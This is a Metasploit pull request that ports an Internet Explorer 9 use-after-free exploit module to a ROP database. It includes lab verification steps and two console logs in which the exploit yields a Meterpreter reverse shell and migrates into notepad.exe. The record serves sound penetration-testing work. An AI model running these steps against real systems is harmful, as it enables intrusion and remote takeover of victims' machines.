rapid7/metasploit-framework — pull request #2446 by jvazquez-r7 (2013-10-01 18:39:22+00:00)
Title: Use RopDB on ie_setmousecapture_uaf 

After #2442, it can be ported to use ropdb.

Steps to veryfy:

- [ ] Install Windows 7 SP1 on a test machine
- [ ] Install IE9 (no patches!) on the test machine
- [ ] Install Office 2007 or Office 2010 on the test machine
- [ ] start msfconsole, use modules/exploits/windows/browser/ie_setmousecapture_uaf and exploit
- [ ] Point the IE9 browser to the url provided for the exploit, shell should be provided.

Sample:

* Office 2007

```
msf exploit(ie_setmousecapture_uaf) > rexploit
[*] Stopping existing job...

[*] Server stopped.
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 172.16.240.1:4444
[*] Using URL: http://172.16.240.1:8080/F9m7Sgt
[*] Server started.
msf exploit(ie_setmousecapture_uaf) > [*] 172.16.240.142 ie_setmousecapture_uaf - Checking target requirements...
[*] 172.16.240.142 ie_setmousecapture_uaf - Using Office 2007 ROP chain
[*] 172.16.240.142 ie_setmousecapture_uaf - Using Office 2007 ROP chain
[*] 172.16.240.142 ie_setmousecapture_uaf - Using Office 2007 ROP chain
[*] Sending stage (770048 bytes) to 172.16.240.142
[*] Meterpreter session 1 opened (172.16.240.1:4444 -> 172.16.240.142:49160) at 2013-10-01 12:55:36 -0500
[*] Session ID 1 (172.16.240.1:4444 -> 172.16.240.142:49160) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: rundll32.exe (3880)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3948

```

* Office 2010

```
msf exploit(ie_setmousecapture_uaf) > rexploit
[*] Stopping existing job...
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 172.16.240.1:4444
[*] Using URL: http://172.16.240.1:8080/kPMnEvkatPl
[*] Server started.
msf exploit(ie_setmousecapture_uaf) > [*] 172.16.240.142 ie_setmousecapture_uaf - Checking target requirements...
[*] 172.16.240.142 ie_setmousecapture_uaf - Using Office 2010 ROP chain
[*] Sending stage (770048 bytes) to 172.16.240.142
[*] Meterpreter session 2 opened (172.16.240.1:4444 -> 172.16.240.142:49172) at 2013-10-01 13:19:29 -0500
[*] Session ID 2 (172.16.240.1:4444 -> 172.16.240.142:49172) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: rundll32.exe (624)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3884
[+] Successfully migrated to process

```